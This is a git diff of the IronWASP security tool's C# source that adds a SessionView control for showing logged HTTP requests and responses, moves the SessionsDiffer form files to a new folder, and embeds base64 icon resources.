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 + + + \ No newline at end of file diff --git a/Iron/SessionView.Designer.cs b/Iron/SessionView.Designer.cs new file mode 100644 index 0000000..5a8039a --- /dev/null +++ b/Iron/SessionView.Designer.cs @@ -0,0 +1,121 @@ +namespace IronWASP +{ + partial class SessionView + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.BaseTabs = new System.Windows.Forms.TabControl(); + this.RequestTab = new System.Windows.Forms.TabPage(); + this.ResponseTab = new System.Windows.Forms.TabPage(); + this.ReqView = new IronWASP.RequestView(); + this.ResView = new IronWASP.ResponseView(); + this.BaseTabs.SuspendLayout(); + this.RequestTab.SuspendLayout(); + this.ResponseTab.SuspendLayout(); + this.SuspendLayout(); + // + // BaseTabs + // + this.BaseTabs.Controls.Add(this.RequestTab); + this.BaseTabs.Controls.Add(this.ResponseTab); + this.BaseTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.BaseTabs.Location = new System.Drawing.Point(0, 0); + this.BaseTabs.Margin = new System.Windows.Forms.Padding(0); + this.BaseTabs.Name = "BaseTabs"; + this.BaseTabs.Padding = new System.Drawing.Point(0, 0); + this.BaseTabs.SelectedIndex = 0; + this.BaseTabs.Size = new System.Drawing.Size(600, 200); + this.BaseTabs.TabIndex = 0; + // + // RequestTab + // + this.RequestTab.Controls.Add(this.ReqView); + this.RequestTab.Location = new System.Drawing.Point(4, 22); + this.RequestTab.Margin = new System.Windows.Forms.Padding(0); + this.RequestTab.Name = "RequestTab"; + this.RequestTab.Size = new System.Drawing.Size(592, 174); + this.RequestTab.TabIndex = 0; + this.RequestTab.Text = " Request "; + this.RequestTab.UseVisualStyleBackColor = true; + // + // ResponseTab + // + this.ResponseTab.Controls.Add(this.ResView); + this.ResponseTab.Location = new System.Drawing.Point(4, 22); + this.ResponseTab.Margin = new System.Windows.Forms.Padding(0); + this.ResponseTab.Name = "ResponseTab"; + this.ResponseTab.Size = new System.Drawing.Size(592, 174); + this.ResponseTab.TabIndex = 1; + this.ResponseTab.Text = " Response "; + this.ResponseTab.UseVisualStyleBackColor = true; + // + // ReqView + // + this.ReqView.BackColor = System.Drawing.Color.White; + this.ReqView.Dock = System.Windows.Forms.DockStyle.Fill; + this.ReqView.Location = new System.Drawing.Point(0, 0); + this.ReqView.Margin = new System.Windows.Forms.Padding(0); + this.ReqView.Name = "ReqView"; + this.ReqView.ReadOnly = false; + this.ReqView.Size = new System.Drawing.Size(592, 174); + this.ReqView.TabIndex = 0; + // + // ResView + // + this.ResView.BackColor = System.Drawing.Color.White; + this.ResView.Dock = System.Windows.Forms.DockStyle.Fill; + this.ResView.IncludeReflectionTab = true; + this.ResView.Location = new System.Drawing.Point(0, 0); + this.ResView.Margin = new System.Windows.Forms.Padding(0); + this.ResView.Name = "ResView"; + this.ResView.ReadOnly = false; + this.ResView.Size = new System.Drawing.Size(592, 174); + this.ResView.TabIndex = 0; + // + // SessionView + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.Controls.Add(this.BaseTabs); + this.Name = "SessionView"; + this.Size = new System.Drawing.Size(600, 200); + this.BaseTabs.ResumeLayout(false); + this.RequestTab.ResumeLayout(false); + this.ResponseTab.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.TabControl BaseTabs; + private System.Windows.Forms.TabPage RequestTab; + private System.Windows.Forms.TabPage ResponseTab; + private RequestView ReqView; + private ResponseView ResView; + } +} diff --git a/Iron/SessionView.cs b/Iron/SessionView.cs new file mode 100644 index 0000000..f005e2f --- /dev/null +++ b/Iron/SessionView.cs @@ -0,0 +1,65 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Text; +using System.Windows.Forms; +using System.Threading; + +namespace IronWASP +{ + public partial class SessionView : UserControl + { + int intLogId = 0; + string intLogSource = "Proxy"; + + public SessionView() + { + InitializeComponent(); + } + + internal void LoadAndShowSession(int LogId, string LogSource) + { + this.intLogId = LogId; + this.intLogSource = LogSource; + + if (this.ReqView.InvokeRequired) + { + Thread T = new Thread(LoadAndShowSession); + T.Start(); + } + else + { + LoadAndShowSession(); + } + } + + void LoadAndShowSession() + { + this.ReqView.ClearRequest(); + this.ResView.ClearResponse(); + this.ReqView.ShowProgressBar(true); + this.ResView.ShowProgressBar(true); + Session Sess = null; + try + { + Sess = Session.FromLog(this.intLogId, this.intLogSource); + } + catch { } + this.ReqView.ShowProgressBar(false); + this.ResView.ShowProgressBar(false); + if (Sess != null) + { + if (Sess.Request != null) + { + this.ReqView.SetRequest(Sess.Request); + } + if (Sess.Response != null) + { + this.ResView.SetResponse(Sess.Response, Sess.Request); + } + } + } + } +} diff --git a/Iron/SessionView.resx b/Iron/SessionView.resx new file mode 100644 index 0000000..7080a7d --- /dev/null +++ b/Iron/SessionView.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/IronWASP/SessionsDiffer.Designer.cs b/Iron/SessionsDiffer.Designer.cs similarity index 97% rename from IronWASP/SessionsDiffer.Designer.cs rename to Iron/SessionsDiffer.Designer.cs index d94b76a..7a41216 100644 --- a/IronWASP/SessionsDiffer.Designer.cs +++ b/Iron/SessionsDiffer.Designer.cs @@ -1,154 +1,154 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -namespace IronWASP -{ - partial class SessionsDiffer - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(SessionsDiffer)); - this.BaseTabs = new System.Windows.Forms.TabControl(); - this.tabPage1 = new System.Windows.Forms.TabPage(); - this.RequestDRV = new IronWASP.DiffResultView(); - this.tabPage2 = new System.Windows.Forms.TabPage(); - this.ResponseDRV = new IronWASP.DiffResultView(); - this.DiffProgressBar = new System.Windows.Forms.ProgressBar(); - this.BaseTabs.SuspendLayout(); - this.tabPage1.SuspendLayout(); - this.tabPage2.SuspendLayout(); - this.SuspendLayout(); - // - // BaseTabs - // - this.BaseTabs.Controls.Add(this.tabPage1); - this.BaseTabs.Controls.Add(this.tabPage2); - this.BaseTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.BaseTabs.Location = new System.Drawing.Point(0, 0); - this.BaseTabs.Margin = new System.Windows.Forms.Padding(0); - this.BaseTabs.Name = "BaseTabs"; - this.BaseTabs.Padding = new System.Drawing.Point(0, 0); - this.BaseTabs.SelectedIndex = 0; - this.BaseTabs.Size = new System.Drawing.Size(784, 462); - this.BaseTabs.TabIndex = 5; - // - // tabPage1 - // - this.tabPage1.Controls.Add(this.RequestDRV); - this.tabPage1.Location = new System.Drawing.Point(4, 22); - this.tabPage1.Margin = new System.Windows.Forms.Padding(0); - this.tabPage1.Name = "tabPage1"; - this.tabPage1.Size = new System.Drawing.Size(776, 436); - this.tabPage1.TabIndex = 0; - this.tabPage1.Text = " Request Diff "; - this.tabPage1.UseVisualStyleBackColor = true; - // - // RequestDRV - // - this.RequestDRV.Dock = System.Windows.Forms.DockStyle.Fill; - this.RequestDRV.Location = new System.Drawing.Point(0, 0); - this.RequestDRV.Margin = new System.Windows.Forms.Padding(0); - this.RequestDRV.Name = "RequestDRV"; - this.RequestDRV.Size = new System.Drawing.Size(776, 436); - this.RequestDRV.TabIndex = 0; - // - // tabPage2 - // - this.tabPage2.Controls.Add(this.ResponseDRV); - this.tabPage2.Location = new System.Drawing.Point(4, 22); - this.tabPage2.Margin = new System.Windows.Forms.Padding(0); - this.tabPage2.Name = "tabPage2"; - this.tabPage2.Size = new System.Drawing.Size(776, 436); - this.tabPage2.TabIndex = 1; - this.tabPage2.Text = " Response Diff "; - this.tabPage2.UseVisualStyleBackColor = true; - // - // ResponseDRV - // - this.ResponseDRV.Dock = System.Windows.Forms.DockStyle.Fill; - this.ResponseDRV.Location = new System.Drawing.Point(0, 0); - this.ResponseDRV.Margin = new System.Windows.Forms.Padding(0); - this.ResponseDRV.Name = "ResponseDRV"; - this.ResponseDRV.Size = new System.Drawing.Size(776, 436); - this.ResponseDRV.TabIndex = 1; - // - // DiffProgressBar - // - this.DiffProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.DiffProgressBar.Location = new System.Drawing.Point(242, 24); - this.DiffProgressBar.MarqueeAnimationSpeed = 10; - this.DiffProgressBar.Name = "DiffProgressBar"; - this.DiffProgressBar.Size = new System.Drawing.Size(242, 23); - this.DiffProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; - this.DiffProgressBar.TabIndex = 33; - this.DiffProgressBar.Visible = false; - // - // SessionsDiffer - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(784, 462); - this.Controls.Add(this.DiffProgressBar); - this.Controls.Add(this.BaseTabs); - this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.Name = "SessionsDiffer"; - this.Text = "Request/Response Differ"; - this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.SessionsDiffer_FormClosing); - this.Load += new System.EventHandler(this.SessionsDiffer_Load); - this.BaseTabs.ResumeLayout(false); - this.tabPage1.ResumeLayout(false); - this.tabPage2.ResumeLayout(false); - this.ResumeLayout(false); - - } - - #endregion - - internal System.Windows.Forms.TabControl BaseTabs; - private System.Windows.Forms.TabPage tabPage1; - private DiffResultView RequestDRV; - private System.Windows.Forms.TabPage tabPage2; - private DiffResultView ResponseDRV; - private System.Windows.Forms.ProgressBar DiffProgressBar; - } +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +namespace IronWASP +{ + partial class SessionsDiffer + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(SessionsDiffer)); + this.BaseTabs = new System.Windows.Forms.TabControl(); + this.tabPage1 = new System.Windows.Forms.TabPage(); + this.RequestDRV = new IronWASP.DiffResultView(); + this.tabPage2 = new System.Windows.Forms.TabPage(); + this.ResponseDRV = new IronWASP.DiffResultView(); + this.DiffProgressBar = new System.Windows.Forms.ProgressBar(); + this.BaseTabs.SuspendLayout(); + this.tabPage1.SuspendLayout(); + this.tabPage2.SuspendLayout(); + this.SuspendLayout(); + // + // BaseTabs + // + this.BaseTabs.Controls.Add(this.tabPage1); + this.BaseTabs.Controls.Add(this.tabPage2); + this.BaseTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.BaseTabs.Location = new System.Drawing.Point(0, 0); + this.BaseTabs.Margin = new System.Windows.Forms.Padding(0); + this.BaseTabs.Name = "BaseTabs"; + this.BaseTabs.Padding = new System.Drawing.Point(0, 0); + this.BaseTabs.SelectedIndex = 0; + this.BaseTabs.Size = new System.Drawing.Size(784, 462); + this.BaseTabs.TabIndex = 5; + // + // tabPage1 + // + this.tabPage1.Controls.Add(this.RequestDRV); + this.tabPage1.Location = new System.Drawing.Point(4, 22); + this.tabPage1.Margin = new System.Windows.Forms.Padding(0); + this.tabPage1.Name = "tabPage1"; + this.tabPage1.Size = new System.Drawing.Size(776, 436); + this.tabPage1.TabIndex = 0; + this.tabPage1.Text = " Request Diff "; + this.tabPage1.UseVisualStyleBackColor = true; + // + // RequestDRV + // + this.RequestDRV.Dock = System.Windows.Forms.DockStyle.Fill; + this.RequestDRV.Location = new System.Drawing.Point(0, 0); + this.RequestDRV.Margin = new System.Windows.Forms.Padding(0); + this.RequestDRV.Name = "RequestDRV"; + this.RequestDRV.Size = new System.Drawing.Size(776, 436); + this.RequestDRV.TabIndex = 0; + // + // tabPage2 + // + this.tabPage2.Controls.Add(this.ResponseDRV); + this.tabPage2.Location = new System.Drawing.Point(4, 22); + this.tabPage2.Margin = new System.Windows.Forms.Padding(0); + this.tabPage2.Name = "tabPage2"; + this.tabPage2.Size = new System.Drawing.Size(776, 436); + this.tabPage2.TabIndex = 1; + this.tabPage2.Text = " Response Diff "; + this.tabPage2.UseVisualStyleBackColor = true; + // + // ResponseDRV + // + this.ResponseDRV.Dock = System.Windows.Forms.DockStyle.Fill; + this.ResponseDRV.Location = new System.Drawing.Point(0, 0); + this.ResponseDRV.Margin = new System.Windows.Forms.Padding(0); + this.ResponseDRV.Name = "ResponseDRV"; + this.ResponseDRV.Size = new System.Drawing.Size(776, 436); + this.ResponseDRV.TabIndex = 1; + // + // DiffProgressBar + // + this.DiffProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.DiffProgressBar.Location = new System.Drawing.Point(242, 24); + this.DiffProgressBar.MarqueeAnimationSpeed = 10; + this.DiffProgressBar.Name = "DiffProgressBar"; + this.DiffProgressBar.Size = new System.Drawing.Size(242, 23); + this.DiffProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.DiffProgressBar.TabIndex = 33; + this.DiffProgressBar.Visible = false; + // + // SessionsDiffer + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(784, 462); + this.Controls.Add(this.DiffProgressBar); + this.Controls.Add(this.BaseTabs); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "SessionsDiffer"; + this.Text = "Request/Response Differ"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.SessionsDiffer_FormClosing); + this.Load += new System.EventHandler(this.SessionsDiffer_Load); + this.BaseTabs.ResumeLayout(false); + this.tabPage1.ResumeLayout(false); + this.tabPage2.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + internal System.Windows.Forms.TabControl BaseTabs; + private System.Windows.Forms.TabPage tabPage1; + private DiffResultView RequestDRV; + private System.Windows.Forms.TabPage tabPage2; + private DiffResultView ResponseDRV; + private System.Windows.Forms.ProgressBar DiffProgressBar; + } } \ No newline at end of file diff --git a/IronWASP/SessionsDiffer.cs b/Iron/SessionsDiffer.cs similarity index 96% rename from IronWASP/SessionsDiffer.cs rename to Iron/SessionsDiffer.cs index 6207915..7554a87 100644 --- a/IronWASP/SessionsDiffer.cs +++ b/Iron/SessionsDiffer.cs @@ -1,156 +1,156 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Text; -using System.Windows.Forms; -using System.Threading; - -namespace IronWASP -{ - public partial class SessionsDiffer : Form - { - Session A; - Session B; - Thread DiffThread; - - string LogSource = ""; - int ALogId = -1; - int BLogId = -1; - - bool FetchFromLogs = false; - - public SessionsDiffer() - { - InitializeComponent(); - } - - public void SetSessions(string Source, int ALogId, int BLogId) - { - this.LogSource = Source; - this.ALogId = ALogId; - this.BLogId = BLogId; - this.FetchFromLogs = true; - } - - public void SetSessions(Session A, Session B) - { - this.A = A; - this.B = B; - this.FetchFromLogs = false; - } - - private void SessionsDiffer_Load(object sender, EventArgs e) - { - BaseTabs.Visible = false; - DiffProgressBar.Visible = true; - DiffThread = new Thread(DoDiff); - DiffThread.Start(); - } - - void DoDiff() - { - try - { - if (FetchFromLogs) - { - this.A = Session.FromLog(this.ALogId, this.LogSource); - this.B = Session.FromLog(this.BLogId, this.LogSource); - } - - string RequestA = ""; - string RequestB = ""; - string ResponseA = ""; - string ResponseB = ""; - if (A != null) - { - if (A.Request != null) - RequestA = A.Request.ToString(); - if (A.Response != null) - ResponseA = A.Response.ToString(); - } - if (B != null) - { - if (B.Request != null) - RequestB = B.Request.ToString(); - if (B.Response != null) - ResponseB = B.Response.ToString(); - } - - string[] RequestSidebySideResults = DiffWindow.DoSideBySideDiff(RequestA, RequestB); - string[] ResponseSidebySideResults = DiffWindow.DoSideBySideDiff(ResponseA, ResponseB); - string RequestSinglePageResults = DiffWindow.DoSinglePageDiff(RequestA, RequestB); - string ResponseSinglePageResults = DiffWindow.DoSinglePageDiff(ResponseA, ResponseB); - RequestDRV.ShowDiffResults(RequestSinglePageResults, RequestSidebySideResults[0], RequestSidebySideResults[1]); - ResponseDRV.ShowDiffResults(ResponseSinglePageResults, ResponseSidebySideResults[0], ResponseSidebySideResults[1]); - } - catch(Exception Exp) - { - IronException.Report("Error doing diff on Sessions", Exp); - ShowError(); - } - EndDiff(); - } - - delegate void ShowError_d(); - void ShowError() - { - if (BaseTabs.InvokeRequired) - { - ShowError_d CALL_d = new ShowError_d(ShowError); - BaseTabs.Invoke(CALL_d, new object[] { }); - } - else - { - this.Text = "Error doing diff. Make sure you selected proper input."; - } - } - - delegate void EndDiff_d(); - void EndDiff() - { - if (BaseTabs.InvokeRequired) - { - EndDiff_d CALL_d = new EndDiff_d(EndDiff); - BaseTabs.Invoke(CALL_d, new object[] { }); - } - else - { - DiffProgressBar.Visible = false; - - BaseTabs.Visible = true; - } - } - - private void SessionsDiffer_FormClosing(object sender, FormClosingEventArgs e) - { - if (DiffThread != null) - { - try - { - DiffThread.Abort(); - } - catch { } - } - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; +using System.Threading; + +namespace IronWASP +{ + public partial class SessionsDiffer : Form + { + Session A; + Session B; + Thread DiffThread; + + string LogSource = ""; + int ALogId = -1; + int BLogId = -1; + + bool FetchFromLogs = false; + + public SessionsDiffer() + { + InitializeComponent(); + } + + public void SetSessions(string Source, int ALogId, int BLogId) + { + this.LogSource = Source; + this.ALogId = ALogId; + this.BLogId = BLogId; + this.FetchFromLogs = true; + } + + public void SetSessions(Session A, Session B) + { + this.A = A; + this.B = B; + this.FetchFromLogs = false; + } + + private void SessionsDiffer_Load(object sender, EventArgs e) + { + BaseTabs.Visible = false; + DiffProgressBar.Visible = true; + DiffThread = new Thread(DoDiff); + DiffThread.Start(); + } + + void DoDiff() + { + try + { + if (FetchFromLogs) + { + this.A = Session.FromLog(this.ALogId, this.LogSource); + this.B = Session.FromLog(this.BLogId, this.LogSource); + } + + string RequestA = ""; + string RequestB = ""; + string ResponseA = ""; + string ResponseB = ""; + if (A != null) + { + if (A.Request != null) + RequestA = A.Request.ToString(); + if (A.Response != null) + ResponseA = A.Response.ToString(); + } + if (B != null) + { + if (B.Request != null) + RequestB = B.Request.ToString(); + if (B.Response != null) + ResponseB = B.Response.ToString(); + } + + string[] RequestSidebySideResults = DiffWindow.DoSideBySideDiff(RequestA, RequestB); + string[] ResponseSidebySideResults = DiffWindow.DoSideBySideDiff(ResponseA, ResponseB); + string RequestSinglePageResults = DiffWindow.DoSinglePageDiff(RequestA, RequestB); + string ResponseSinglePageResults = DiffWindow.DoSinglePageDiff(ResponseA, ResponseB); + RequestDRV.ShowDiffResults(RequestSinglePageResults, RequestSidebySideResults[0], RequestSidebySideResults[1]); + ResponseDRV.ShowDiffResults(ResponseSinglePageResults, ResponseSidebySideResults[0], ResponseSidebySideResults[1]); + } + catch(Exception Exp) + { + IronException.Report("Error doing diff on Sessions", Exp); + ShowError(); + } + EndDiff(); + } + + delegate void ShowError_d(); + void ShowError() + { + if (BaseTabs.InvokeRequired) + { + ShowError_d CALL_d = new ShowError_d(ShowError); + BaseTabs.Invoke(CALL_d, new object[] { }); + } + else + { + this.Text = "Error doing diff. Make sure you selected proper input."; + } + } + + delegate void EndDiff_d(); + void EndDiff() + { + if (BaseTabs.InvokeRequired) + { + EndDiff_d CALL_d = new EndDiff_d(EndDiff); + BaseTabs.Invoke(CALL_d, new object[] { }); + } + else + { + DiffProgressBar.Visible = false; + + BaseTabs.Visible = true; + } + } + + private void SessionsDiffer_FormClosing(object sender, FormClosingEventArgs e) + { + if (DiffThread != null) + { + try + { + DiffThread.Abort(); + } + catch { } + } + } + } +} diff --git a/Iron/SessionsDiffer.resx b/Iron/SessionsDiffer.resx new file mode 100644 index 0000000..c0d1bbb --- /dev/null +++ b/Iron/SessionsDiffer.resx @@ -0,0 +1,1918 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAYAEBAAAAEAIABoBAAAZgAAACAgAAABACAAqBAAAM4EAAAwMAAAAQAgAKglAAB2FQAAQEAAAAEA + IAAoQgAAHjsAAICAAAABACAAKAgBAEZ9AAAAAAAAAQAgALQeAABuhQEAKAAAABAAAAAgAAAAAQAgAAAA + AAAABAAAIy4AACMuAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08C0ZdPAgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPWNGX + T1gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPFdGX + T8jRl0/H0ZdPFQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + T43Rl0/U0ZdP1NGXT40AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TxvRl0/20ZdP1NGXT9TRl0/20ZdPGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AADRl0+K0ZdP/9GXT9TRl0/U0ZdP/9GXT4oAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABLS0smj3FNlNGXT//Rl0/U0ZdP1NGXT/+OcU2VS0tLJgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLo0xLS8XRl0/Q0ZdP1NGXT9TRl0/QTEtLx0tLS6IAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 